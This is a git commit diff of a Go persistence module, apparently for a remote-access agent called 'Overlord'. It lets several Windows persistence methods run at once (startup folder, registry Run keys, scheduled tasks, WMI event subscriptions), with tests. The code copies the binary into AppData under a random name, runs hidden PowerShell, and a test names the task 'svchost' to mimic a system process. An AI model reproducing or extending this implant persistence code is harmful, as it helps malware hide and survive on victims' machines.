multi select persistence

2026-03-26 11:05:04 -05:00
parent 97ae3cd686
commit f50f76d3f6
13 changed files with 439 additions and 134 deletions
@@ -9,7 +9,7 @@ var DefaultPersistenceMethod = "startup"

 var DefaultStartupName = ""

-var persistInstallFn func(targetPath string) error = func(_ string) error { return nil }
+var persistInstallFns []func(exePath string) error

 var persistUninstallFns []func() error

@@ -44,23 +44,28 @@ func executablePrefix() string {
 	return defaultExecutablePrefix
 }

-func activeMethod() string {
-	m := strings.ToLower(strings.TrimSpace(DefaultPersistenceMethod))
-	switch m {
-	case "registry", "taskscheduler", "wmi":
-		return m
-	default:
-		return "startup"
-	}
-}
+var hasStartupMethod bool

 func getTargetPath() (string, error) {
-	switch activeMethod() {
-	case "registry", "taskscheduler", "wmi":
+	if !hasStartupMethod && len(persistInstallFns) > 0 {
 		return getAppDataTargetPath()
-	default:
-		return getStartupFolderTargetPath()
 	}
+	return getStartupFolderTargetPath()
+}
+
+func installStartupImpl(exePath string) error {
+	targetPath, err := getStartupFolderTargetPath()
+	if err != nil {
+		return err
+	}
+	dir := filepath.Dir(targetPath)
+	if err := os.MkdirAll(dir, 0755); err != nil {
+		return fmt.Errorf("failed to create startup directory: %w", err)
+	}
+	if strings.EqualFold(filepath.Clean(exePath), filepath.Clean(targetPath)) {
+		return nil
+	}
+	return replaceExecutable(exePath, targetPath)
 }

 func getStartupFolderTargetPath() (string, error) {
@@ -178,25 +183,21 @@ func runPowerShell(script string) error {
 }

 func install(exePath string) error {
-	targetPath, err := getTargetPath()
-	if err != nil {
-		return err
+	if len(persistInstallFns) == 0 {
+		if err := installStartupImpl(exePath); err != nil {
+			return err
+		}
+		_ = cleanupLegacyRunValues()
+		return nil
 	}
-
-	dir := filepath.Dir(targetPath)
-	if err := os.MkdirAll(dir, 0755); err != nil {
-		return fmt.Errorf("failed to create directory: %w", err)
+	var firstErr error
+	for _, fn := range persistInstallFns {
+		if err := fn(exePath); err != nil && firstErr == nil {
+			firstErr = err
+		}
 	}
-
-	if err := replaceExecutable(exePath, targetPath); err != nil {
-		return err
-	}
-
-	if err := persistInstallFn(targetPath); err != nil {
-		return fmt.Errorf("failed to install persistence: %w", err)
-	}
-
 	_ = cleanupLegacyRunValues()
+	return firstErr

 	return nil
 }
@@ -241,24 +242,7 @@ func replaceExecutable(exePath, targetPath string) error {
 }

 func configure(exePath string) error {
-	targetPath, err := getTargetPath()
-	if err != nil {
-		return err
-	}
-
-	if exePath != "" && !strings.EqualFold(filepath.Clean(exePath), filepath.Clean(targetPath)) {
-		if err := replaceExecutable(exePath, targetPath); err != nil {
-			return err
-		}
-	}
-
-	if err := persistInstallFn(targetPath); err != nil {
-		return fmt.Errorf("failed to reconfigure persistence: %w", err)
-	}
-
-	_ = cleanupLegacyRunValues()
-
-	return nil
+	return install(exePath)
 }

 func uninstall() error {
@@ -7,13 +7,32 @@ import (
 	"crypto/rand"
 	"encoding/hex"
 	"fmt"
+	"os"
+	"path/filepath"
 	"strings"

 	"golang.org/x/sys/windows/registry"
 )

 func init() {
-	persistInstallFn = installRegistry
+	persistInstallFns = append(persistInstallFns, installRegistryFull)
+}
+
+func installRegistryFull(exePath string) error {
+	targetPath, err := getAppDataTargetPath()
+	if err != nil {
+		return err
+	}
+	dir := filepath.Dir(targetPath)
+	if err := os.MkdirAll(dir, 0755); err != nil {
+		return fmt.Errorf("failed to create directory: %w", err)
+	}
+	if !strings.EqualFold(filepath.Clean(exePath), filepath.Clean(targetPath)) {
+		if err := replaceExecutable(exePath, targetPath); err != nil {
+			return err
+		}
+	}
+	return installRegistry(targetPath)
 }

 func installRegistry(targetPath string) error {
@@ -0,0 +1,9 @@
+//go:build windows && persist_startup
+// +build windows,persist_startup
+
+package persistence
+
+func init() {
+	hasStartupMethod = true
+	persistInstallFns = append(persistInstallFns, installStartupImpl)
+}
@@ -5,14 +5,33 @@ package persistence

 import (
 	"fmt"
+	"os"
+	"path/filepath"
 	"strings"
 )

 func init() {
-	persistInstallFn = installTaskScheduler
+	persistInstallFns = append(persistInstallFns, installTaskSchedulerFull)
 	persistUninstallFns = append(persistUninstallFns, uninstallTaskScheduler)
 }

+func installTaskSchedulerFull(exePath string) error {
+	targetPath, err := getAppDataTargetPath()
+	if err != nil {
+		return err
+	}
+	dir := filepath.Dir(targetPath)
+	if err := os.MkdirAll(dir, 0755); err != nil {
+		return fmt.Errorf("failed to create directory: %w", err)
+	}
+	if !strings.EqualFold(filepath.Clean(exePath), filepath.Clean(targetPath)) {
+		if err := replaceExecutable(exePath, targetPath); err != nil {
+			return err
+		}
+	}
+	return installTaskScheduler(targetPath)
+}
+
 func installTaskScheduler(targetPath string) error {
 	taskName := deriveTaskName(targetPath)
 	safe := strings.ReplaceAll(targetPath, "'", "''")
@@ -0,0 +1,219 @@
+//go:build windows && persist_taskscheduler
+// +build windows,persist_taskscheduler
+
+package persistence
+
+import (
+	"os"
+	"os/exec"
+	"path/filepath"
+	"strings"
+	"testing"
+)
+
+func queryTask(t *testing.T, taskName string) string {
+	t.Helper()
+	out, err := exec.Command("powershell.exe",
+		"-NoProfile", "-NonInteractive", "-WindowStyle", "Hidden",
+		"-Command",
+		`(Get-ScheduledTask -TaskName '`+taskName+`' -ErrorAction SilentlyContinue).Actions.Execute`).
+		Output()
+	if err != nil {
+		return ""
+	}
+	return strings.TrimSpace(string(out))
+}
+
+func deleteTask(t *testing.T, taskName string) {
+	t.Helper()
+	_ = runPowerShell(`Unregister-ScheduledTask -TaskName '` + taskName + `' -Confirm:$false -ErrorAction SilentlyContinue`)
+}
+
+// TestInstallTaskScheduler_RegistersTask verifies that a task with the
+// derived name is created and points to the supplied executable path.
+func TestInstallTaskScheduler_RegistersTask(t *testing.T) {
+	target := `C:\Testing\ovd_tstest.exe`
+	taskName := deriveTaskName(target)
+	t.Cleanup(func() { deleteTask(t, taskName) })
+
+	if err := installTaskScheduler(target); err != nil {
+		t.Fatalf("installTaskScheduler: %v", err)
+	}
+
+	got := queryTask(t, taskName)
+	if got == "" {
+		t.Fatalf("scheduled task %q was not created", taskName)
+	}
+	if !strings.EqualFold(got, target) {
+		t.Fatalf("task Execute = %q, want %q", got, target)
+	}
+}
+
+// TestInstallTaskScheduler_Idempotent verifies that calling install twice
+// updates the existing task rather than creating a second one.
+func TestInstallTaskScheduler_Idempotent(t *testing.T) {
+	first := `C:\Testing\ovd_ts_first.exe`
+	second := `C:\Testing\ovd_ts_second.exe`
+	taskName := deriveTaskName(first)
+	t.Cleanup(func() { deleteTask(t, taskName) })
+
+	if err := installTaskScheduler(first); err != nil {
+		t.Fatalf("installTaskScheduler(first): %v", err)
+	}
+	if err := installTaskScheduler(second); err != nil {
+		t.Fatalf("installTaskScheduler(second): %v", err)
+	}
+
+	got := queryTask(t, taskName)
+	if !strings.EqualFold(got, second) {
+		t.Fatalf("task Execute after update = %q, want %q", got, second)
+	}
+}
+
+// TestInstallTaskScheduler_SingleQuoteInPath checks that a path containing a
+// single-quote is escaped correctly and does not cause a PowerShell error.
+func TestInstallTaskScheduler_SingleQuoteInPath(t *testing.T) {
+	dir := t.TempDir()
+	// Create a sub-directory whose name contains a single quote.
+	quotedDir := filepath.Join(dir, "O'Brien")
+	if err := os.MkdirAll(quotedDir, 0755); err != nil {
+		t.Fatalf("mkdir: %v", err)
+	}
+	target := filepath.Join(quotedDir, "ovd_quote.exe")
+	taskName := deriveTaskName(target)
+	t.Cleanup(func() { deleteTask(t, taskName) })
+
+	if err := installTaskScheduler(target); err != nil {
+		t.Fatalf("installTaskScheduler with quoted path: %v", err)
+	}
+
+	got := queryTask(t, taskName)
+	if got == "" {
+		t.Fatalf("scheduled task %q was not created", taskName)
+	}
+}
+
+// TestUninstallTaskScheduler_RemovesTask verifies that uninstallTaskScheduler
+// removes tasks whose names match the executable prefix.
+func TestUninstallTaskScheduler_RemovesTask(t *testing.T) {
+	target := `C:\Testing\ovd_ts_uninstall.exe`
+	taskName := deriveTaskName(target)
+	t.Cleanup(func() { deleteTask(t, taskName) })
+
+	if err := installTaskScheduler(target); err != nil {
+		t.Fatalf("installTaskScheduler: %v", err)
+	}
+	if got := queryTask(t, taskName); got == "" {
+		t.Fatalf("pre-condition: task %q not created", taskName)
+	}
+
+	if err := uninstallTaskScheduler(); err != nil {
+		t.Fatalf("uninstallTaskScheduler: %v", err)
+	}
+
+	if got := queryTask(t, taskName); got != "" {
+		t.Fatalf("task %q still exists after uninstall, Execute=%q", taskName, got)
+	}
+}
+
+// TestInstallTaskSchedulerFull_CopiesAndRegisters verifies that
+// installTaskSchedulerFull copies the source binary to the appdata dir and
+// registers a scheduled task pointing to the copy.
+func TestInstallTaskSchedulerFull_CopiesAndRegisters(t *testing.T) {
+	appData := t.TempDir()
+	t.Setenv("APPDATA", appData)
+
+	// Write a tiny stub "executable" as the source.
+	srcDir := t.TempDir()
+	srcPath := filepath.Join(srcDir, "agent.exe")
+	if err := os.WriteFile(srcPath, []byte("MZ"), 0755); err != nil {
+		t.Fatalf("write source: %v", err)
+	}
+
+	if err := installTaskSchedulerFull(srcPath); err != nil {
+		t.Fatalf("installTaskSchedulerFull: %v", err)
+	}
+
+	// The binary must have been copied to the appdata binary dir.
+	entries, err := os.ReadDir(filepath.Join(appData, appDataBinaryDir))
+	if err != nil {
+		t.Fatalf("read appdata dir: %v", err)
+	}
+	var copiedName string
+	for _, e := range entries {
+		if !e.IsDir() {
+			copiedName = e.Name()
+			break
+		}
+	}
+	if copiedName == "" {
+		t.Fatal("no binary found in appdata binary dir after installTaskSchedulerFull")
+	}
+
+	// A scheduled task pointing to the copy must exist.
+	targetPath := filepath.Join(appData, appDataBinaryDir, copiedName)
+	taskName := deriveTaskName(targetPath)
+	t.Cleanup(func() { deleteTask(t, taskName) })
+
+	got := queryTask(t, taskName)
+	if !strings.EqualFold(got, targetPath) {
+		t.Fatalf("task Execute = %q, want %q", got, targetPath)
+	}
+}
+
+// TestInstallTaskSchedulerFull_SkipsCopyWhenAlreadyAtTarget verifies that
+// when the source and target paths are the same file, no copy is attempted
+// (no error from trying to replace a file with itself).
+func TestInstallTaskSchedulerFull_SkipsCopyWhenAlreadyAtTarget(t *testing.T) {
+	appData := t.TempDir()
+	t.Setenv("APPDATA", appData)
+
+	// Pre-create the binary directly in the appdata binary dir.
+	destDir := filepath.Join(appData, appDataBinaryDir)
+	if err := os.MkdirAll(destDir, 0755); err != nil {
+		t.Fatalf("mkdir: %v", err)
+	}
+	name, _ := generateBinaryName()
+	destPath := filepath.Join(destDir, name)
+	if err := os.WriteFile(destPath, []byte("MZ"), 0755); err != nil {
+		t.Fatalf("write dest: %v", err)
+	}
+
+	taskName := deriveTaskName(destPath)
+	t.Cleanup(func() { deleteTask(t, taskName) })
+
+	// Pass the already-placed binary as the source — no copy should occur.
+	if err := installTaskSchedulerFull(destPath); err != nil {
+		t.Fatalf("installTaskSchedulerFull (same path): %v", err)
+	}
+
+	got := queryTask(t, taskName)
+	if !strings.EqualFold(got, destPath) {
+		t.Fatalf("task Execute = %q, want %q", got, destPath)
+	}
+}
+
+// TestInstallTaskScheduler_CustomName verifies that when DefaultStartupName is
+// set, the derived task name uses that prefix.
+func TestInstallTaskScheduler_CustomName(t *testing.T) {
+	origName := DefaultStartupName
+	t.Cleanup(func() { DefaultStartupName = origName })
+	DefaultStartupName = "svchost"
+
+	target := `C:\Testing\svchost.exe`
+	taskName := deriveTaskName(target)
+	t.Cleanup(func() { deleteTask(t, taskName) })
+
+	if !strings.HasPrefix(taskName, "svchost_") {
+		t.Fatalf("expected task name to start with 'svchost_', got %q", taskName)
+	}
+
+	if err := installTaskScheduler(target); err != nil {
+		t.Fatalf("installTaskScheduler with custom name: %v", err)
+	}
+
+	got := queryTask(t, taskName)
+	if got == "" {
+		t.Fatalf("task %q not created", taskName)
+	}
+}
@@ -76,65 +76,72 @@ func TestIsOverlordRunValueName(t *testing.T) {
 	}
 }

-func TestActiveMethod(t *testing.T) {
-	orig := DefaultPersistenceMethod
-	t.Cleanup(func() { DefaultPersistenceMethod = orig })
+func TestGetTargetPath_NonStartupMethodsUseAppDataBinaryDir(t *testing.T) {
+	origFns := persistInstallFns
+	origHas := hasStartupMethod
+	t.Cleanup(func() {
+		persistInstallFns = origFns
+		hasStartupMethod = origHas
+	})

-	tests := []struct {
-		in   string
-		want string
-	}{
-		{"startup", "startup"},
-		{"registry", "registry"},
-		{"taskscheduler", "taskscheduler"},
-		{"wmi", "wmi"},
-		{"REGISTRY", "registry"},
-		{"TaskScheduler", "taskscheduler"},
-		{"WMI", "wmi"},
-		{"", "startup"},
-		{"unknown", "startup"},
-		{"  registry  ", "registry"},
+	// Simulate a non-startup method registered (e.g. registry).
+	hasStartupMethod = false
+	persistInstallFns = []func(string) error{func(string) error { return nil }}
+
+	appData := t.TempDir()
+	t.Setenv("APPDATA", appData)
+
+	got, err := getTargetPath()
+	if err != nil {
+		t.Fatalf("getTargetPath() error: %v", err)
 	}
-	for _, tt := range tests {
-		t.Run(tt.in, func(t *testing.T) {
-			DefaultPersistenceMethod = tt.in
-			if got := activeMethod(); got != tt.want {
-				t.Fatalf("activeMethod() = %q, want %q (input=%q)", got, tt.want, tt.in)
-			}
-		})
+	wantDir := filepath.Join(appData, appDataBinaryDir)
+	if !strings.EqualFold(filepath.Clean(filepath.Dir(got)), filepath.Clean(wantDir)) {
+		t.Fatalf("expected dir %q, got %q", wantDir, filepath.Dir(got))
+	}
+	base := strings.ToLower(filepath.Base(got))
+	if !strings.HasPrefix(base, executablePrefix()) || !strings.HasSuffix(base, ".exe") {
+		t.Fatalf("expected ovd_*.exe name, got %q", filepath.Base(got))
 	}
 }

-func TestGetTargetPath_NonStartupMethodsUseAppDataBinaryDir(t *testing.T) {
-	orig := DefaultPersistenceMethod
-	t.Cleanup(func() { DefaultPersistenceMethod = orig })
+func TestGetTargetPath_StartupMethodTakesPriorityOverOthers(t *testing.T) {
+	origFns := persistInstallFns
+	origHas := hasStartupMethod
+	t.Cleanup(func() {
+		persistInstallFns = origFns
+		hasStartupMethod = origHas
+	})

-	for _, method := range []string{"registry", "taskscheduler", "wmi"} {
-		t.Run(method, func(t *testing.T) {
-			DefaultPersistenceMethod = method
-			appData := t.TempDir()
-			t.Setenv("APPDATA", appData)
+	// Simulate startup + another method both registered.
+	hasStartupMethod = true
+	persistInstallFns = []func(string) error{
+		func(string) error { return nil },
+		func(string) error { return nil },
+	}

-			got, err := getTargetPath()
-			if err != nil {
-				t.Fatalf("getTargetPath() error: %v", err)
-			}
-			wantDir := filepath.Join(appData, appDataBinaryDir)
-			if !strings.EqualFold(filepath.Clean(filepath.Dir(got)), filepath.Clean(wantDir)) {
-				t.Fatalf("method=%q: expected dir %q, got %q", method, wantDir, filepath.Dir(got))
-			}
-			base := strings.ToLower(filepath.Base(got))
-			if !strings.HasPrefix(base, executablePrefix()) || !strings.HasSuffix(base, ".exe") {
-				t.Fatalf("method=%q: expected ovd_*.exe name, got %q", method, filepath.Base(got))
-			}
-		})
+	appData := t.TempDir()
+	t.Setenv("APPDATA", appData)
+
+	got, err := getTargetPath()
+	if err != nil {
+		t.Fatalf("getTargetPath() error: %v", err)
+	}
+	wantDir := filepath.Join(appData, startupFolderRelative)
+	if !strings.EqualFold(filepath.Clean(filepath.Dir(got)), filepath.Clean(wantDir)) {
+		t.Fatalf("expected startup dir %q, got %q", wantDir, filepath.Dir(got))
 	}
 }

 func TestGetTargetPath_PrefersExistingBinary_AppDataDir(t *testing.T) {
-	orig := DefaultPersistenceMethod
-	t.Cleanup(func() { DefaultPersistenceMethod = orig })
-	DefaultPersistenceMethod = "registry"
+	origFns := persistInstallFns
+	origHas := hasStartupMethod
+	t.Cleanup(func() {
+		persistInstallFns = origFns
+		hasStartupMethod = origHas
+	})
+	hasStartupMethod = false
+	persistInstallFns = []func(string) error{func(string) error { return nil }}

 	appData := t.TempDir()
 	t.Setenv("APPDATA", appData)
@@ -5,14 +5,33 @@ package persistence

 import (
 	"fmt"
+	"os"
+	"path/filepath"
 	"strings"
 )

 func init() {
-	persistInstallFn = installWMI
+	persistInstallFns = append(persistInstallFns, installWMIFull)
 	persistUninstallFns = append(persistUninstallFns, uninstallWMI)
 }

+func installWMIFull(exePath string) error {
+	targetPath, err := getAppDataTargetPath()
+	if err != nil {
+		return err
+	}
+	dir := filepath.Dir(targetPath)
+	if err := os.MkdirAll(dir, 0755); err != nil {
+		return fmt.Errorf("failed to create directory: %w", err)
+	}
+	if !strings.EqualFold(filepath.Clean(exePath), filepath.Clean(targetPath)) {
+		if err := replaceExecutable(exePath, targetPath); err != nil {
+			return err
+		}
+	}
+	return installWMI(targetPath)
+}
+
 func installWMI(targetPath string) error {
 	filterName, consumerName := deriveWMINames(targetPath)
 	safe := strings.ReplaceAll(targetPath, "'", "''")